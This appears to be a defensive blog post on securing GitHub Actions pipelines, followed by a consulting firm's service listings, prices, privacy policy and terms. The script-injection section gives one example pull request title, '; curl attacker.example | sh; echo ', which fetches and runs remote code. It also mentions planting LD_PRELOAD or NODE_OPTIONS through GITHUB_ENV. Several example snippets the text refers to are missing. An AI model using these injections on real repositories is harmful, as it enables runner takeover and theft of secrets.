Your CI pipeline is the most privileged code in your repository. Default token permissions, script injection through expressions, triggers that run fork code with your secrets and actions whose tags get moved: the holes that open most often and how to close them.
Your CI pipeline is the most privileged code in your repository. It holds the deploy credentials, the package publishing tokens and write access to the repository itself. Yet in most teams, workflow files get less review than anything else: copied from an example, made to work once, never looked at again. In GitHub Actions an attacker does not need to touch your code. A pull request title, a branch name or a third party action whose version tag was moved is enough. This post covers the four holes that open most often and how to close each of them.
1. Narrow the default token permissions
Every workflow run gets an automatic GITHUB_TOKEN. In older repositories and some organization settings that token comes with broad write access by default. Anyone who can run code in a step can push commits, create releases and move tags with it.
The right approach has two layers. First, set the default permission to read only at the repository or organization level. Then declare permissions explicitly in every workflow and widen them only for the job that needs it:
permissions: {}
jobs:
test:
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- uses: actions/checkout@<full-commit-sha>
with:
persist-credentials: false
- run: make test
release:
needs: test
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
permissions:
contents: write
steps:
- run: echo "only this job can write"
The top level permissions: {} drops everything, and each job asks for what it needs. A compromised test job can no longer write to the repository.
persist-credentials: false matters more than it looks. By default actions/checkout leaves the token in the git config of the working directory. Any dependency, build script or uploaded artifact in a later step can read it from disk. If you are not pushing back, do not leave it there.
2. Script injection: ${{ }} expands before the shell runs
This is the most common mistake and the least understood one. Workflow expressions are substituted into the text before the step executes. So this line:
has the title pasted in before the shell ever sees it. A pull request titled "; curl attacker.example | sh; echo " runs a command on your runner. The same applies to every user controlled field: issue titles and bodies, comment text, branch names, commit messages, author names.
The fix is to pass the value as an environment variable, not as an expression:
Now the value reaches the shell as data and is never parsed as code. Keep the variable quoted. The same rule holds inside actions/github-script: read the value from the environment instead of splicing the expression into JavaScript.
A less known side channel is the $GITHUB_ENV and $GITHUB_OUTPUT files. If you write an untrusted value into them without checking for newlines, an attacker can inject an extra line and define their own environment variable for later steps. Something like LD_PRELOAD or NODE_OPTIONS is all it takes to execute code in the next step.
3. The pull_request_target and workflow_run trap
The pull_request event runs changes from a fork with a read only token and no access to secrets. That is safe but sometimes limiting, so teams that want to label or comment on PRs switch to pull_request_target.
pull_request_target runs in the context of the base repository: secrets are available and the token can write. On its own it is safe, because it runs the workflow file from the base branch. The hole opens when this pattern is added:
on: pull_request_target
jobs:
build:
steps:
- uses: actions/checkout@<sha>
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm install && npm test
Code written by a stranger is now running with your secrets. An install script during npm install, the test command in package.json or a modified Makefile can ship every secret out.
The rules:
Inside pull_request_target, do not check out and execute the PR's code. Work only with metadata: labels, comments, the list of changed files.
If the PR code needs to be built and tested, do it under pull_request without privileges and save the result as an artifact. Let a separate workflow_run workflow do the privileged part, such as posting a comment.
Treat artifacts consumed in workflow_run as untrusted input. Fork code produced them. Do not feed their contents to a shell or into $GITHUB_ENV; parse them strictly into the shape you expect.
Watch caches under these triggers too. A job running in the privileged context can write to the base branch cache scope. If anything produced by fork code lands there, later builds on the main branch restore a poisoned cache.
4. Pin third party actions to a commit SHA
When you write uses: someone/some-action@v3, v3 is not an immutable version. It is a tag or a branch, and the owner can point it at any commit. If the owner's account is compromised, every existing tag can be redirected to a malicious commit, and every repository using it runs that code on its next run. This has happened in the wild and dumped secrets into the logs of thousands of repositories.
The only solid defence is a full length commit SHA:
The trailing comment is for humans. Dependabot and Renovate understand this format and open a PR that updates both the SHA and the comment when a new release ships. Pinning does not mean giving up on updates; it turns each update into a reviewable change.
Things to watch:
A short SHA is not enough. Use the full length.
If a pinned composite action calls another action by tag, that inner call is still mutable. For actions in critical jobs, look inside once.
Organization settings let you restrict which actions are allowed, and newer settings can require SHA pinning. A policy beats manual discipline every time.
For simple tasks such as uploading a file or running one command, a two line run step is often safer than adding a third party action at all.
Bind secrets to deployment environments
If you deploy to a cloud provider, use OIDC instead of storing a long lived access key as a repository secret. The workflow requests a short lived token with the id-token: write permission, and the cloud side validates it against a trust policy. The usual mistake is a trust policy that is too broad: a condition that only checks the repository name lets every branch and every PR workflow in that repository assume the production role. Tie the sub condition to a branch or a deployment environment.
Define deployment secrets at the environment level, not the repository level, and add required reviewers and a branch restriction to that environment. Even if a test job is compromised, the production secret never enters its context.
Self-hosted runners
Do not use self-hosted runners on public repositories. Depending on approval settings, a PR from a fork can run code on your machine and leave something behind for the next job on a persistent runner. Even for private repositories, building runners as ephemeral machines destroyed after each job is far easier than trying to keep a long lived server clean.
How to audit this
Reviewing workflow files by hand does not scale. actionlint catches syntax and expression errors and some injection patterns. zizmor is a static analyzer built specifically for Actions security: it reports script injection, dangerous triggers, unpinned actions and persisted credentials. Run both in CI, and put workflow files under mandatory review with CODEOWNERS. A change in .github/workflows carries more privilege than a change in application code.
When you do not need all of this
In a private repository that accepts no forks, holds no secrets and is pushed only by your own team, most of the pull_request_target advice does not apply. SHA pinning and narrow permissions still do: a supply chain attack does not care whether your repository is public. Those two steps give the most protection for the least effort. If you do nothing else, do those.
[OK] 30 records · 9 featured · 1 retainer · 20 standard
/02 services
services.tree
> note
· Prices are in USD. Volume discounts of 7% for 6-12 day projects and 14% for 13+ day projects apply. Programs of 100+ person-days are priced individually. Prices are negotiable based on scope, urgency and long-term collaboration.
> ls ~/products/ --open-source
[OK] 2 entries · 1 live · 1 pre-release
/03 products
products.list
liveopen source · mit/prod/01
filex
the self-hosted file manager that embeds anywhere
single go binary · vue/react/web-component embed · 5 storage drivers · realtime collab · rbac · native multi-tenancy · mcp server for ai agents
We build infrastructure, automate everything, and keep systems running.
BRF Tech is a Bursa-based DevSecOps and software consulting firm. We operate across 30 service areas, from Kubernetes cluster management to serverless platform setup, CI/CD pipeline design to AI agent development.
What we do is simple: we set up your systems, automate them, and make sure they won't wake you up at 3 AM. We codify your infrastructure with Terraform, move your deployments to GitOps with ArgoCD, and monitor everything with Prometheus. If something breaks — we intervene before it does.
We're against vendor lock-in. We work with open-source tools, self-hosted solutions, and industry-standard technologies. We build your own serverless platform on Knative, isolate with Kata Containers, manage your secrets with Vault. Every project is delivered with clear scope, clear timeline, clear pricing.
DevSecOps & CI/CD
Kubernetes & Serverless
Infrastructure as Code
AI & Agent (MCP/ACP)
Security & Zero Trust
Full-Stack Development
Self-Hosted Solutions
> grep -i question ~/faq.md
[OK] 3 entries · click to expand
[?]What services are included in BRF Tech's DevOps solutions?▾
We offer CI/CD pipeline setup, Kubernetes cluster management, container migration, infrastructure automation with Terraform, monitoring & alerting, in-house technology installations and DevOps consulting services.
[?]What are your software development services?▾
We offer MVP development, existing software performance optimization, backend API development (Node.js, Go, Python) and full-stack application development. Every project is delivered with minimal technical debt.
[?]Which DevOps tools do you work with?▾
From Kubernetes and Docker to Talos Linux, from Terraform and OpenTofu to Ansible, and across Jenkins, GitLab CI/CD, GitHub Actions, ArgoCD, Flux, Helm and Rancher, we work with industry-standard tooling. For observability and error tracking we use Prometheus, Grafana, Loki, Tempo, OpenTelemetry and GlitchTip; for networking, Cilium and Envoy; for test automation, Playwright, Cypress, k6, Locust, Testcontainers and Trivy. We determine the most suitable toolset together, based on your project’s needs.
Automated build, test and deployment pipelines with GitHub Actions, GitLab CI/CD.
Automated build, test and deploy pipeline setup for existing or new repositories. GitHub Actions, GitLab CI/CD or preferred tool is used. Separate workflows are defined for staging + production environments.
Container architecture migration, cluster setup and orchestration.
Production-ready Kubernetes cluster setup on bare-metal or cloud. Includes Helm charts, Ingress, TLS certificate management, namespace isolation and RBAC.
Cozystack is an open-source cloud platform built on Kubernetes and the VMware alternative we recommend most. Virtual machines run on KubeVirt, while managed PostgreSQL, MySQL, Redis and Kafka services and dedicated tenant Kubernetes clusters are provisioned from the same dashboard and API. Includes installation on your own bare-metal servers on Talos Linux, replicated storage with LINSTOR/DRBD, network isolation with Kube-OVN, tenant and quota structure, monitoring, backup and a disaster recovery plan. After deployment we also handle upgrades, operations and support; since the platform is open source, there are no license fees and no vendor lock-in.
Packages
Virtual machine support on an existing Kubernetes cluster with KubeVirt
$2,800
4–6 person-day
Pilot setup (3 nodes, virtual machines + managed database)
$3,500
5–8 person-day
Production setup (HA + replicated storage + monitoring + backup)
$6,500
10–16 person-day
Multi-tenant private cloud (tenants, quotas, managed service catalog)
Planned, low-downtime migration of vSphere/ESXi environments to Cozystack, OpenStack or VHI.
A planned move to a VMware alternative for environments whose costs rose after Broadcom moved VMware licensing to subscription bundles, or whose renewal is coming up. We start with an inventory of your vSphere/ESXi estate (virtual machines, disks, networks, dependencies), then compare today's license cost with the total cost of the target platform. In most environments the target is Cozystack; OpenStack fits large-scale IaaS needs and Virtuozzo Hybrid Infrastructure fits storage-heavy service providers. A pilot runs on non-critical virtual machines, disks are converted with tools such as virt-v2v and Forklift, and the migration proceeds in waves within maintenance windows, with a rollback plan for every step.
Packages
Inventory + cost comparison + migration plan
$2,400
3–5 person-day
Pilot migration (up to 10 virtual machines)
$3,500
5–8 person-day
Phased migration (up to 100 virtual machines)
$9,750
15–22 person-day
Full data center migration (network + storage + backup)
OpenStack deployment, Neutron networking, Ceph/Cinder storage, upgrades and operations.
OpenStack deployment and operations in your own data center. A containerized, highly available control plane with Kolla-Ansible; Nova (compute), Keystone (identity), Glance (images) and Horizon (dashboard). On the network side, Neutron with OVN, VLAN/VXLAN, provider and tenant networks, floating IPs and the Octavia load balancer; on the storage side, Cinder block storage on Ceph RBD and optional S3-compatible object storage. For existing deployments: health checks, planned upgrades between releases, monitoring and alerting setup, and a backup strategy.
Packages
Health check + improvement report (existing deployment)
$2,400
3–5 person-day
Lab / PoC setup (single region, 3 nodes)
$3,500
5–8 person-day
Release upgrade (existing deployment)
$3,900
6–10 person-day
Production setup (HA control plane + Ceph + Neutron/OVN)
Hyperconverged infrastructure: multi-tenant cloud plus block and S3-compatible storage for service providers.
Hyperconverged infrastructure with Virtuozzo Hybrid Infrastructure, where compute, storage and networking run on the same servers. Block, S3-compatible object and NFS storage on software-defined storage, plus backup storage (Backup Gateway) for backup products such as Acronis. For service providers: a multi-tenant cloud with domains and projects, quotas, a self-service panel and an OpenStack-compatible API. Includes hardware sizing, network design, cluster deployment and expansion, version upgrades and operations support.
Packages
Pre-deployment assessment + hardware sizing
$2,400
3–4 person-day
Version upgrade / cluster expansion
$2,800
4–6 person-day
Hyperconverged cluster setup (storage + compute)
$3,900
6–10 person-day
Service provider setup (multi-tenant cloud + S3 + backup storage)
Migration of existing applications to container architecture.
Migration of existing applications to container architecture. Docker image design, Compose configuration and conversion to Kubernetes manifests. Kata Containers / gVisor can be included for advanced isolation.
Health check of your current environment, capacity planning, platform selection and a roadmap.
An independent assessment of your current virtualization environment (VMware vSphere, OpenStack, VHI or other KVM-based platforms). The health check covers cluster configuration, resource overcommit, storage latency, forgotten snapshots, backup and patch status. Capacity planning measures CPU, memory and storage growth to work out the hardware you will need next. Platform selection decides which workload should run where: Cozystack for teams running containers and virtual machines side by side, OpenStack for large-scale IaaS, VHI for storage-heavy service providers; staying on the current platform is also an option for some workloads. The deliverable is a written report with a cost comparison and a prioritized roadmap.
In-house tools like GitLab, Nextcloud, VPN, mail server.
Installation of tools like GitLab, Mattermost, Nextcloud, mail server, VPN, internal monitoring on company servers. Deployed on Docker Compose or Kubernetes.
DB + cache + code bottleneck identification and resolution.
Profiling of existing application, identification and resolution of bottlenecks. DB query optimization, caching layer (Redis), service-level improvements.
MCP/ACP agents, RAG pipelines, multi-agent orchestration, model serving.
LLM integration (OpenAI, Claude, Gemini, local models), tool-augmented AI agents with MCP (Model Context Protocol) and ACP (Agent Communication Protocol). RAG pipeline, multi-agent orchestration, model serving (vLLM/Ollama). AI layer for existing business processes.
Event-driven data pipeline with Apache Kafka, RabbitMQ, NATS. ETL/ELT orchestration with Apache Airflow, real-time data streaming, CDC (Change Data Capture). Data lake/warehouse design, schema registry, dead letter queue management.
Packages
Kafka/RabbitMQ setup + basic producer/consumer
$3,500
5–7 person-day
ETL pipeline (Airflow + source → warehouse)
$5,200
8–12 person-day
Full event-driven architecture (CDC + streaming + DLQ)
Hands-on technical training for your teams. Docker & container fundamentals, Kubernetes operations, Terraform IaC, CI/CD best practices, AI/LLM integration workshops. Practical exercises in live lab environments, content customized by skill level.
E2E test automation with Playwright, Cypress, load testing with k6/Gatling. Pre-deploy quality gate integrated into CI/CD pipeline, test coverage reporting, visual regression testing. Reduce test writing time by up to 60% with AI-assisted test generation.
Your Collected Personal Data, Collection Method and Legal Basis
Any information that identifies or makes you identifiable is considered "personal data." When you visit our website or use our services, contact information such as your name, surname, email address, phone number, as well as your IP address and browser cookie data may be collected through automatic or semi-automatic means. This data is processed based on the legal grounds specified in Article 5 of the Personal Data Protection Law No. 6698: "being directly related to the establishment or performance of a contract" and "being mandatory for the legitimate interests of the data controller, provided that it does not harm the fundamental rights and freedoms of the data subject."
Purpose of Processing Your Personal Data
Your collected personal data is processed for the purposes of providing and improving our services, fulfilling customer requests, meeting legal obligations, conducting information security processes and managing communication activities. Your data is processed in a limited and proportionate manner for the stated purposes; when the purpose ceases to exist, data is deleted, destroyed or anonymized.
To Whom and For What Purposes Collected Personal Data May Be Transferred
Your personal data may be transferred to public institutions and organizations as required by legal regulations, to our business partners and technical infrastructure providers for the purpose of delivering services, and to lawyers and consultants in legal disputes. Transfers are carried out in accordance with Articles 8 and 9 of the Law, with necessary technical and administrative measures in place.
Your Rights as a Data Subject
In accordance with Article 11 of Law No. 6698, you have the right to: learn whether your personal data is being processed; request information if it has been processed; learn the purpose of processing and whether it is used in accordance with its purpose; know the third parties to whom it is transferred domestically or abroad; request correction if it has been processed incompletely or incorrectly; request deletion or destruction within the framework of conditions set out in Article 7 of the Law; request that the operations carried out be notified to third parties to whom data has been transferred; object to any adverse result arising from the analysis of data exclusively through automated systems; and claim compensation for damages in case of unlawful processing. You may contact us through the communication channels on our website to exercise these rights.
Terms & Conditions
Terms & Conditions
1. Service Scope and Changes
BRF Tech conducts its software development, DevOps consulting, infrastructure setup and technical support services within the framework of these terms and conditions. The scope of service is determined separately for each project and finalized through mutual agreement. BRF Tech reserves the right to update the scope, pricing and technical details of its services, provided that prior notice is given.
2. Privacy Policy
Personal data collected within the scope of our services is processed in accordance with our Privacy Policy. For detailed information, please review our Privacy Policy page.
3. Service Usage and Responsibilities
Clients agree to use the provided services solely within legal and ethical boundaries. BRF Tech reserves the right to suspend or terminate services in the event of misuse, violation of third-party rights, or use for illegal activities. The client is responsible for the accuracy and currency of the information provided within the project scope.
4. Payment Terms
Payment terms are determined on a project basis and finalized through mutual agreement at the start of the project. Unless otherwise specified, invoices are payable within 15 days of project delivery. A monthly late payment interest of 2% may apply to overdue payments.
5. Cancellation and Refund Policy
Cancellation requests must be submitted in writing at least 7 days before the service start date. For projects already in progress, billing is based on the proportion of completed work. No refunds are issued for software and infrastructure components specifically developed within the project scope.